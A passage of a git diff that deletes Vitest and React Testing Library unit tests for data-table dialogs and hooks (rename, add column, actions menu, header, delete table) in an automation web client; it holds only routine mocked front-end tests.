-            const importButton = screen.getByRole('button', {name: 'Import'});
-
-            await user.click(importButton);
-
-            // Wait for the async operation to complete
-            await vi.waitFor(() => {
-                expect(hoisted.mockHandleImport).toHaveBeenCalledWith(csvContent);
-            });
-
-            // Restore original
-            if (originalText) {
-                File.prototype.text = originalText;
-            }
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/tests/RenameDataTableColumnDialog.test.tsx b/client/src/pages/automation/datatable/components/tests/RenameDataTableColumnDialog.test.tsx
deleted file mode 100644
index 4b796761931..00000000000
--- a/client/src/pages/automation/datatable/components/tests/RenameDataTableColumnDialog.test.tsx
+++ /dev/null
@@ -1,180 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import RenameDataTableColumnDialog from '../RenameDataTableColumnDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockCanRename: true,
-        mockCurrentName: 'originalColumn',
-        mockHandleOpenChange: vi.fn(),
-        mockHandleRenameSubmit: vi.fn(),
-        mockHandleRenameValueChange: vi.fn(),
-        mockOpen: true,
-        mockRenameValue: 'originalColumn',
-    };
-});
-
-vi.mock('../../hooks/useRenameDataTableColumnDialog', () => ({
-    default: () => ({
-        canRename: hoisted.mockCanRename,
-        currentName: hoisted.mockCurrentName,
-        handleOpenChange: hoisted.mockHandleOpenChange,
-        handleRenameSubmit: hoisted.mockHandleRenameSubmit,
-        handleRenameValueChange: hoisted.mockHandleRenameValueChange,
-        open: hoisted.mockOpen,
-        renameValue: hoisted.mockRenameValue,
-    }),
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockOpen = true;
-    hoisted.mockCurrentName = 'originalColumn';
-    hoisted.mockRenameValue = 'originalColumn';
-    hoisted.mockCanRename = true;
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('RenameDataTableColumnDialog', () => {
-    describe('rendering', () => {
-        it('should render the dialog when open is true', () => {
-            render(<RenameDataTableColumnDialog />);
-
-            expect(screen.getByRole('dialog')).toBeInTheDocument();
-        });
-
-        it('should not render the dialog when open is false', () => {
-            hoisted.mockOpen = false;
-
-            render(<RenameDataTableColumnDialog />);
-
-            expect(screen.queryByRole('dialog')).not.toBeInTheDocument();
-        });
-
-        it('should render the dialog title', () => {
-            render(<RenameDataTableColumnDialog />);
-
-            expect(screen.getByText('Rename Column')).toBeInTheDocument();
-        });
-
-        it('should display the dialog description', () => {
-            render(<RenameDataTableColumnDialog />);
-
-            expect(screen.getByText('Enter a new name for this column.')).toBeInTheDocument();
-        });
-
-        it('should render the current column name in label', () => {
-            hoisted.mockCurrentName = 'myColumn';
-
-            render(<RenameDataTableColumnDialog />);
-
-            expect(screen.getByText('New name for "myColumn"')).toBeInTheDocument();
-        });
-
-        it('should render Cancel and Rename buttons', () => {
-            render(<RenameDataTableColumnDialog />);
-
-            expect(screen.getByRole('button', {name: 'Cancel'})).toBeInTheDocument();
-            expect(screen.getByRole('button', {name: 'Rename'})).toBeInTheDocument();
-        });
-
-        it('should display the rename value in the input', () => {
-            hoisted.mockRenameValue = 'myColumn';
-
-            render(<RenameDataTableColumnDialog />);
-
-            const input = screen.getByRole('textbox');
-
-            expect(input).toHaveValue('myColumn');
-        });
-
-        it('should have placeholder text in input', () => {
-            render(<RenameDataTableColumnDialog />);
-
-            const input = screen.getByRole('textbox');
-
-            expect(input).toHaveAttribute('placeholder', 'Enter new column name');
-        });
-    });
-
-    describe('validation', () => {
-        it('should disable Rename button when canRename is false', () => {
-            hoisted.mockCanRename = false;
-
-            render(<RenameDataTableColumnDialog />);
-
-            const renameButton = screen.getByRole('button', {name: 'Rename'});
-
-            expect(renameButton).toBeDisabled();
-        });
-
-        it('should enable Rename button when canRename is true', () => {
-            hoisted.mockCanRename = true;
-
-            render(<RenameDataTableColumnDialog />);
-
-            const renameButton = screen.getByRole('button', {name: 'Rename'});
-
-            expect(renameButton).not.toBeDisabled();
-        });
-    });
-
-    describe('interactions', () => {
-        it('should call handleRenameValueChange when typing', async () => {
-            const user = userEvent.setup();
-
-            render(<RenameDataTableColumnDialog />);
-
-            const input = screen.getByRole('textbox');
-
-            await user.type(input, 'x');
-
-            expect(hoisted.mockHandleRenameValueChange).toHaveBeenCalled();
-        });
-
-        it('should call handleOpenChange with false when Cancel is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<RenameDataTableColumnDialog />);
-
-            const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-
-            await user.click(cancelButton);
-
-            expect(hoisted.mockHandleOpenChange).toHaveBeenCalledWith(false);
-        });
-
-        it('should call handleRename when Rename is clicked and canRename is true', async () => {
-            const user = userEvent.setup();
-
-            hoisted.mockCanRename = true;
-
-            render(<RenameDataTableColumnDialog />);
-
-            const renameButton = screen.getByRole('button', {name: 'Rename'});
-
-            await user.click(renameButton);
-
-            expect(hoisted.mockHandleRenameSubmit).toHaveBeenCalled();
-        });
-
-        it('should not call handleRename when Rename button is disabled', async () => {
-            const user = userEvent.setup();
-
-            hoisted.mockCanRename = false;
-
-            render(<RenameDataTableColumnDialog />);
-
-            const renameButton = screen.getByRole('button', {name: 'Rename'});
-
-            await user.click(renameButton);
-
-            expect(hoisted.mockHandleRenameSubmit).not.toHaveBeenCalled();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/tests/RenameDataTableDialog.test.tsx b/client/src/pages/automation/datatable/components/tests/RenameDataTableDialog.test.tsx
deleted file mode 100644
index e5c05223a0b..00000000000
--- a/client/src/pages/automation/datatable/components/tests/RenameDataTableDialog.test.tsx
+++ /dev/null
@@ -1,134 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import RenameDataTableDialog from '../RenameDataTableDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleOpenChange: vi.fn(),
-        mockHandleRenameSubmit: vi.fn(),
-        mockHandleRenameValueChange: vi.fn(),
-        storeState: {
-            canRename: true,
-            open: true,
-            renameValue: 'CurrentName',
-        },
-    };
-});
-
-vi.mock('../../hooks/useRenameDataTableDialog', () => ({
-    default: () => ({
-        canRename: hoisted.storeState.canRename,
-        handleOpenChange: hoisted.mockHandleOpenChange,
-        handleRenameSubmit: hoisted.mockHandleRenameSubmit,
-        handleRenameValueChange: hoisted.mockHandleRenameValueChange,
-        open: hoisted.storeState.open,
-        renameValue: hoisted.storeState.renameValue,
-    }),
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.storeState.open = true;
-    hoisted.storeState.renameValue = 'CurrentName';
-    hoisted.storeState.canRename = true;
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('RenameDataTableDialog', () => {
-    describe('rendering', () => {
-        it('should render the dialog when open', () => {
-            render(<RenameDataTableDialog />);
-
-            expect(screen.getByText('Rename Table')).toBeInTheDocument();
-        });
-
-        it('should render the input with current value', () => {
-            render(<RenameDataTableDialog />);
-
-            const input = screen.getByRole('textbox');
-
-            expect(input).toHaveValue('CurrentName');
-        });
-
-        it('should render cancel and rename buttons', () => {
-            render(<RenameDataTableDialog />);
-
-            expect(screen.getByRole('button', {name: 'Cancel'})).toBeInTheDocument();
-            expect(screen.getByRole('button', {name: 'Rename'})).toBeInTheDocument();
-        });
-
-        it('should not render when not open', () => {
-            hoisted.storeState.open = false;
-
-            render(<RenameDataTableDialog />);
-
-            expect(screen.queryByText('Rename Table')).not.toBeInTheDocument();
-        });
-    });
-
-    describe('interactions', () => {
-        it('should call handleRenameValueChange when input value changes', async () => {
-            const user = userEvent.setup();
-
-            render(<RenameDataTableDialog />);
-
-            const input = screen.getByRole('textbox');
-
-            await user.clear(input);
-            await user.type(input, 'NewName');
-
-            expect(hoisted.mockHandleRenameValueChange).toHaveBeenCalled();
-        });
-
-        it('should call handleRename when rename button is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<RenameDataTableDialog />);
-
-            const renameButton = screen.getByRole('button', {name: 'Rename'});
-
-            await user.click(renameButton);
-
-            expect(hoisted.mockHandleRenameSubmit).toHaveBeenCalledTimes(1);
-        });
-
-        it('should call handleOpenChange when cancel is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<RenameDataTableDialog />);
-
-            const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-
-            await user.click(cancelButton);
-
-            expect(hoisted.mockHandleOpenChange).toHaveBeenCalledWith(false);
-        });
-    });
-
-    describe('rename button state', () => {
-        it('should disable rename button when canRename is false', () => {
-            hoisted.storeState.canRename = false;
-
-            render(<RenameDataTableDialog />);
-
-            const renameButton = screen.getByRole('button', {name: 'Rename'});
-
-            expect(renameButton).toBeDisabled();
-        });
-
-        it('should enable rename button when canRename is true', () => {
-            hoisted.storeState.canRename = true;
-
-            render(<RenameDataTableDialog />);
-
-            const renameButton = screen.getByRole('button', {name: 'Rename'});
-
-            expect(renameButton).not.toBeDisabled();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/hooks/tests/useAddDataTableColumnDialog.test.ts b/client/src/pages/automation/datatable/hooks/tests/useAddDataTableColumnDialog.test.ts
deleted file mode 100644
index 51a3bf98281..00000000000
--- a/client/src/pages/automation/datatable/hooks/tests/useAddDataTableColumnDialog.test.ts
+++ /dev/null
@@ -1,170 +0,0 @@
-import {ColumnType} from '@/shared/middleware/graphql';
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockClearDialog: vi.fn(),
-        mockMutate: vi.fn(),
-        mockSetOpen: vi.fn(),
-        storeState: {
-            open: false,
-        },
-    };
-});
-
-vi.mock('../../stores/useAddDataTableColumnDialogStore', () => ({
-    useAddDataTableColumnDialogStore: () => ({
-        clearDialog: hoisted.mockClearDialog,
-        open: hoisted.storeState.open,
-        setOpen: hoisted.mockSetOpen,
-    }),
-}));
-
-vi.mock('../../stores/useCurrentDataTableStore', () => ({
-    useCurrentDataTableStore: () => ({
-        dataTable: {id: 'table-123'},
-    }),
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: () => 2,
-}));
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: () => 1049,
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: () => ({
-        invalidateQueries: vi.fn(),
-    }),
-}));
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useAddDataTableColumnMutation: () => ({
-            mutate: hoisted.mockMutate,
-        }),
-    };
-});
-
-vi.mock('@/shared/queries/automation/datatables.queries', () => ({
-    DataTableKeys: {
-        list: (environmentId: number, workspaceId: number) => ['datatables', environmentId, workspaceId],
-    },
-}));
-
-import useAddDataTableColumnDialog from '../useAddDataTableColumnDialog';
-
-describe('useAddDataTableColumnDialog', () => {
-    beforeEach(() => {
-        hoisted.storeState.open = false;
-        vi.clearAllMocks();
-    });
-
-    afterEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('handleOpen', () => {
-        it('should call setOpen with true', () => {
-            const {result} = renderHook(() => useAddDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleOpen();
-            });
-
-            expect(hoisted.mockSetOpen).toHaveBeenCalledWith(true);
-        });
-    });
-
-    describe('handleClose', () => {
-        it('should call clearDialog', () => {
-            const {result} = renderHook(() => useAddDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            expect(hoisted.mockClearDialog).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('should call clearDialog when openValue is false', () => {
-            const {result} = renderHook(() => useAddDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(hoisted.mockClearDialog).toHaveBeenCalled();
-        });
-
-        it('should call setOpen with true when openValue is true', () => {
-            const {result} = renderHook(() => useAddDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(hoisted.mockSetOpen).toHaveBeenCalledWith(true);
-        });
-    });
-
-    describe('handleAdd', () => {
-        it('should call mutation with correct parameters', () => {
-            const {result} = renderHook(() => useAddDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleAdd('columnName', ColumnType.String);
-            });
-
-            expect(hoisted.mockMutate).toHaveBeenCalledWith({
-                input: {
-                    column: {name: 'columnName', type: ColumnType.String},
-                    environmentId: '2',
-                    tableId: 'table-123',
-                },
-            });
-        });
-
-        it('should call mutation with different column types', () => {
-            const {result} = renderHook(() => useAddDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleAdd('numColumn', ColumnType.Number);
-            });
-
-            expect(hoisted.mockMutate).toHaveBeenCalledWith({
-                input: {
-                    column: {name: 'numColumn', type: ColumnType.Number},
-                    environmentId: '2',
-                    tableId: 'table-123',
-                },
-            });
-        });
-    });
-
-    describe('open state', () => {
-        it('should return the current open state from store', () => {
-            hoisted.storeState.open = true;
-
-            const {result} = renderHook(() => useAddDataTableColumnDialog());
-
-            expect(result.current.open).toBe(true);
-        });
-
-        it('should return false when dialog is closed', () => {
-            hoisted.storeState.open = false;
-
-            const {result} = renderHook(() => useAddDataTableColumnDialog());
-
-            expect(result.current.open).toBe(false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/hooks/tests/useDataTableActionsMenu.test.ts b/client/src/pages/automation/datatable/hooks/tests/useDataTableActionsMenu.test.ts
deleted file mode 100644
index d5869a8e0f5..00000000000
--- a/client/src/pages/automation/datatable/hooks/tests/useDataTableActionsMenu.test.ts
+++ /dev/null
@@ -1,179 +0,0 @@
-import {act, renderHook, resetAll} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useDataTableActionsMenu from '../useDataTableActionsMenu';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleImport: vi.fn(),
-        mockHandleImportOpen: vi.fn(),
-        mockHandleImportOpenChange: vi.fn(),
-        mockOpenDeleteDialog: vi.fn(),
-        mockOpenRenameDialog: vi.fn(),
-        mockRefetchExportCsv: vi.fn().mockResolvedValue({data: {exportDataTableCsv: 'csv,data'}}),
-        storeState: {
-            currentDataTable: {baseName: 'TestTable', id: 'table-123'} as {baseName: string; id: string} | null,
-            deleteDialogTableId: null as string | null,
-            deleteDialogTableName: '',
-            environmentId: 2,
-            importDialogOpen: false,
-            renameDialogOpen: false,
-            renameTableId: null as string | null,
-            renameValue: '',
-        },
-    };
-});
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useExportDataTableCsvQuery: () => ({
-            refetch: hoisted.mockRefetchExportCsv,
-        }),
-    };
-});
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: (selector: (state: {currentEnvironmentId: number}) => number) =>
-        selector({currentEnvironmentId: hoisted.storeState.environmentId}),
-}));
-
-vi.mock('../../stores/useCurrentDataTableStore', () => ({
-    useCurrentDataTableStore: () => ({
-        dataTable: hoisted.storeState.currentDataTable,
-    }),
-}));
-
-vi.mock('../useDeleteDataTableAlertDialog', () => ({
-    default: () => ({
-        handleDelete: vi.fn(),
-        handleOpen: hoisted.mockOpenDeleteDialog,
-        handleOpenChange: vi.fn(),
-        open: hoisted.storeState.deleteDialogTableId !== null,
-        tableName: hoisted.storeState.deleteDialogTableName,
-    }),
-}));
-
-vi.mock('../useRenameDataTableDialog', () => ({
-    default: () => ({
-        canRename: hoisted.storeState.renameValue.length > 0,
-        handleOpen: hoisted.mockOpenRenameDialog,
-        handleOpenChange: vi.fn(),
-        handleRename: vi.fn(),
-        handleRenameValueChange: vi.fn(),
-        open: hoisted.storeState.renameDialogOpen,
-        renameValue: hoisted.storeState.renameValue,
-    }),
-}));
-
-vi.mock('../useImportDataTableCsvDialog', () => ({
-    default: () => ({
-        handleImport: hoisted.mockHandleImport,
-        handleOpen: hoisted.mockHandleImportOpen,
-        handleOpenChange: hoisted.mockHandleImportOpenChange,
-        isPending: false,
-        open: hoisted.storeState.importDialogOpen,
-    }),
-}));
-
-beforeEach(() => {
-    hoisted.storeState.currentDataTable = {baseName: 'TestTable', id: 'table-123'};
-    hoisted.storeState.deleteDialogTableId = null;
-    hoisted.storeState.deleteDialogTableName = '';
-    hoisted.storeState.renameDialogOpen = false;
-    hoisted.storeState.renameValue = '';
-    hoisted.storeState.importDialogOpen = false;
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('useDataTableActionsMenu', () => {
-    describe('initial state', () => {
-        it('should return initial state values', () => {
-            const {result} = renderHook(() => useDataTableActionsMenu());
-
-            expect(result.current.deleteDialogOpen).toBe(false);
-            expect(result.current.renameDialogOpen).toBe(false);
-            expect(result.current.importCsvDialogOpen).toBe(false);
-        });
-    });
-
-    describe('handleOpenDeleteDialog', () => {
-        it('should call openDeleteDialog with current table id and name', () => {
-            const {result} = renderHook(() => useDataTableActionsMenu());
-
-            act(() => {
-                result.current.handleOpenDeleteDialog();
-            });
-
-            expect(hoisted.mockOpenDeleteDialog).toHaveBeenCalledWith('table-123', 'TestTable');
-        });
-
-        it('should call openDeleteDialog with empty strings when no table is selected', () => {
-            hoisted.storeState.currentDataTable = null;
-
-            const {result} = renderHook(() => useDataTableActionsMenu());
-
-            act(() => {
-                result.current.handleOpenDeleteDialog();
-            });
-
-            expect(hoisted.mockOpenDeleteDialog).toHaveBeenCalledWith('', '');
-        });
-    });
-
-    describe('handleOpenRenameDialog', () => {
-        it('should call openRenameDialog with current table id and name', () => {
-            const {result} = renderHook(() => useDataTableActionsMenu());
-
-            act(() => {
-                result.current.handleOpenRenameDialog();
-            });
-
-            expect(hoisted.mockOpenRenameDialog).toHaveBeenCalledWith('table-123', 'TestTable');
-        });
-    });
-
-    describe('handleOpenImportCsvDialog', () => {
-        it('should call openImportCsvDialog', () => {
-            const {result} = renderHook(() => useDataTableActionsMenu());
-
-            act(() => {
-                result.current.handleOpenImportCsvDialog();
-            });
-
-            expect(hoisted.mockHandleImportOpen).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleExportCsv', () => {
-        it('should not export when no table is selected', async () => {
-            hoisted.storeState.currentDataTable = null;
-
-            const {result} = renderHook(() => useDataTableActionsMenu());
-
-            await act(async () => {
-                await result.current.handleExportCsv();
-            });
-
-            expect(hoisted.mockRefetchExportCsv).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('handleImportCsv', () => {
-        it('should call the import handler', () => {
-            const {result} = renderHook(() => useDataTableActionsMenu());
-
-            act(() => {
-                result.current.handleImportCsv('csv,content');
-            });
-
-            expect(hoisted.mockHandleImport).toHaveBeenCalledWith('csv,content');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/hooks/tests/useDataTableHeader.test.ts b/client/src/pages/automation/datatable/hooks/tests/useDataTableHeader.test.ts
deleted file mode 100644
index 4ab9e7feeb5..00000000000
--- a/client/src/pages/automation/datatable/hooks/tests/useDataTableHeader.test.ts
+++ /dev/null
@@ -1,140 +0,0 @@
-import {act, renderHook, resetAll} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useDataTableHeader from '../useDataTableHeader';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleDelete: vi.fn(),
-        mockHandleOpen: vi.fn(),
-        mockHandleOpenChange: vi.fn(),
-        storeState: {
-            deleteRowsDialogOpen: false,
-            rowCount: 0,
-            selectedRows: new Set<string>(),
-        },
-    };
-});
-
-vi.mock('../../stores/useSelectedRowsStore', () => ({
-    useSelectedRowsStore: () => ({
-        selectedRows: hoisted.storeState.selectedRows,
-    }),
-}));
-
-vi.mock('../useDeleteDataTableRowsDialog', () => ({
-    default: () => ({
-        handleDelete: hoisted.mockHandleDelete,
-        handleOpen: hoisted.mockHandleOpen,
-        handleOpenChange: hoisted.mockHandleOpenChange,
-        open: hoisted.storeState.deleteRowsDialogOpen,
-        rowCount: hoisted.storeState.rowCount,
-    }),
-}));
-
-beforeEach(() => {
-    hoisted.storeState.selectedRows = new Set<string>();
-    hoisted.storeState.deleteRowsDialogOpen = false;
-    hoisted.storeState.rowCount = 0;
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('useDataTableHeader', () => {
-    describe('initial state', () => {
-        it('should return 0 selectedRowsCount when no rows are selected', () => {
-            const {result} = renderHook(() => useDataTableHeader());
-
-            expect(result.current.selectedRowsCount).toBe(0);
-        });
-
-        it('should return deleteRowsDialogOpen as false initially', () => {
-            const {result} = renderHook(() => useDataTableHeader());
-
-            expect(result.current.deleteRowsDialogOpen).toBe(false);
-        });
-
-        it('should return deleteRowsCount as 0 initially', () => {
-            const {result} = renderHook(() => useDataTableHeader());
-
-            expect(result.current.deleteRowsCount).toBe(0);
-        });
-    });
-
-    describe('selectedRowsCount', () => {
-        it('should return correct count when rows are selected', () => {
-            hoisted.storeState.selectedRows = new Set(['row-1', 'row-2', 'row-3']);
-
-            const {result} = renderHook(() => useDataTableHeader());
-
-            expect(result.current.selectedRowsCount).toBe(3);
-        });
-
-        it('should return correct count when single row is selected', () => {
-            hoisted.storeState.selectedRows = new Set(['row-1']);
-
-            const {result} = renderHook(() => useDataTableHeader());
-
-            expect(result.current.selectedRowsCount).toBe(1);
-        });
-    });
-
-    describe('handleOpenDeleteRowsDialog', () => {
-        it('should call handleOpen from useDeleteDataTableRowsDialog', () => {
-            const {result} = renderHook(() => useDataTableHeader());
-
-            act(() => {
-                result.current.handleOpenDeleteRowsDialog();
-            });
-
-            expect(hoisted.mockHandleOpen).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleDeleteRows', () => {
-        it('should call handleDelete from useDeleteDataTableRowsDialog', () => {
-            const {result} = renderHook(() => useDataTableHeader());
-
-            act(() => {
-                result.current.handleDeleteRows();
-            });
-
-            expect(hoisted.mockHandleDelete).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleDeleteRowsDialogOpenChange', () => {
-        it('should call handleOpenChange from useDeleteDataTableRowsDialog', () => {
-            const {result} = renderHook(() => useDataTableHeader());
-
-            act(() => {
-                result.current.handleDeleteRowsDialogOpenChange(false);
-            });
-
-            expect(hoisted.mockHandleOpenChange).toHaveBeenCalledWith(false);
-        });
-    });
-
-    describe('deleteRowsDialogOpen', () => {
-        it('should reflect the dialog open state', () => {
-            hoisted.storeState.deleteRowsDialogOpen = true;
-
-            const {result} = renderHook(() => useDataTableHeader());
-
-            expect(result.current.deleteRowsDialogOpen).toBe(true);
-        });
-    });
-
-    describe('deleteRowsCount', () => {
-        it('should reflect the row count from dialog', () => {
-            hoisted.storeState.rowCount = 5;
-
-            const {result} = renderHook(() => useDataTableHeader());
-
-            expect(result.current.deleteRowsCount).toBe(5);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/hooks/tests/useDeleteDataTableAlertDialog.test.ts b/client/src/pages/automation/datatable/hooks/tests/useDeleteDataTableAlertDialog.test.ts
deleted file mode 100644
index 892d2f4e92b..00000000000
--- a/client/src/pages/automation/datatable/hooks/tests/useDeleteDataTableAlertDialog.test.ts
+++ /dev/null
@@ -1,257 +0,0 @@
-import {act, renderHook, resetAll} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useDeleteDataTableAlertDialog from '../useDeleteDataTableAlertDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockClearTableToDelete: vi.fn(),
-        mockInvalidateQueries: vi.fn(),
-        mockMutate: vi.fn(),
-        mockNavigate: vi.fn(),
-        mockSetTableToDelete: vi.fn(),
-        storeState: {
-            dataTables: [
-                {baseName: 'Alpha', id: 'table-1'},
-                {baseName: 'Beta', id: 'table-2'},
-                {baseName: 'Gamma', id: 'table-3'},
-            ],
-            environmentId: 2,
-            tableIdToDelete: null as string | null,
-            tableNameToDelete: '',
-            workspaceId: 1049,
-        },
-    };
-});
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: (selector: (state: {currentWorkspaceId: number}) => number) =>
-        selector({currentWorkspaceId: hoisted.storeState.workspaceId}),
-}));
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useDataTablesQuery: () => ({
-            data: {dataTables: hoisted.storeState.dataTables},
-        }),
-        useDropDataTableMutation: ({onSuccess}: {onSuccess: () => void}) => ({
-            mutate: (params: unknown) => {
-                hoisted.mockMutate(params);
-                onSuccess();
-            },
-        }),
-    };
-});
-
-vi.mock('@/shared/queries/automation/datatables.queries', () => ({
-    DataTableKeys: {
-        list: (environmentId: number, workspaceId: number) => ['dataTables', environmentId, workspaceId],
-    },
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: (selector: (state: {currentEnvironmentId: number}) => number) =>
-        selector({currentEnvironmentId: hoisted.storeState.environmentId}),
-}));
-
-vi.mock('@tanstack/react-query', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@tanstack/react-query')>();
-
-    return {
-        ...actual,
-        useQueryClient: () => ({
-            invalidateQueries: hoisted.mockInvalidateQueries,
-        }),
-    };
-});
-
-vi.mock('react-router-dom', () => ({
-    useNavigate: () => hoisted.mockNavigate,
-}));
-
-vi.mock('../../stores/useDeleteDataTableAlertDialogStore', () => ({
-    useDeleteDataTableAlertDialogStore: () => ({
-        clearTableToDelete: hoisted.mockClearTableToDelete,
-        setTableToDelete: hoisted.mockSetTableToDelete,
-        tableIdToDelete: hoisted.storeState.tableIdToDelete,
-        tableNameToDelete: hoisted.storeState.tableNameToDelete,
-    }),
-}));
-
-beforeEach(() => {
-    hoisted.storeState.tableIdToDelete = null;
-    hoisted.storeState.tableNameToDelete = '';
-    hoisted.storeState.dataTables = [
-        {baseName: 'Alpha', id: 'table-1'},
-        {baseName: 'Beta', id: 'table-2'},
-        {baseName: 'Gamma', id: 'table-3'},
-    ];
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('useDeleteDataTableAlertDialog', () => {
-    describe('initial state', () => {
-        it('should return open as false when tableIdToDelete is null', () => {
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('should return empty tableName initially', () => {
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            expect(result.current.tableName).toBe('');
-        });
-    });
-
-    describe('open state', () => {
-        it('should return open as true when tableIdToDelete is set', () => {
-            hoisted.storeState.tableIdToDelete = 'table-1';
-            hoisted.storeState.tableNameToDelete = 'Alpha';
-
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            expect(result.current.open).toBe(true);
-            expect(result.current.tableName).toBe('Alpha');
-        });
-    });
-
-    describe('handleOpen', () => {
-        it('should call setTableToDelete with tableId and tableName', () => {
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            act(() => {
-                result.current.handleOpen('table-456', 'Test Table');
-            });
-
-            expect(hoisted.mockSetTableToDelete).toHaveBeenCalledWith('table-456', 'Test Table');
-        });
-    });
-
-    describe('handleClose', () => {
-        it('should call clearTableToDelete', () => {
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            expect(hoisted.mockClearTableToDelete).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('should call clearTableToDelete when open is false', () => {
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(hoisted.mockClearTableToDelete).toHaveBeenCalled();
-        });
-
-        it('should not call clearTableToDelete when open is true', () => {
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(hoisted.mockClearTableToDelete).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('handleDelete', () => {
-        it('should not call mutate when tableIdToDelete is null', () => {
-            hoisted.storeState.tableIdToDelete = null;
-
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.mockMutate).not.toHaveBeenCalled();
-        });
-
-        it('should call mutate with correct parameters when tableIdToDelete exists', () => {
-            hoisted.storeState.tableIdToDelete = 'table-2';
-
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.mockMutate).toHaveBeenCalledWith({
-                input: {
-                    environmentId: '2',
-                    tableId: 'table-2',
-                },
-            });
-        });
-
-        it('should navigate to next table after deletion', () => {
-            hoisted.storeState.tableIdToDelete = 'table-1';
-
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.mockNavigate).toHaveBeenCalledWith('/automation/datatables/table-2');
-        });
-
-        it('should navigate to datatables list when deleting last table', () => {
-            hoisted.storeState.tableIdToDelete = 'table-3';
-
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.mockNavigate).toHaveBeenCalledWith('/automation/datatables');
-        });
-
-        it('should navigate to datatables list when no tables remain', () => {
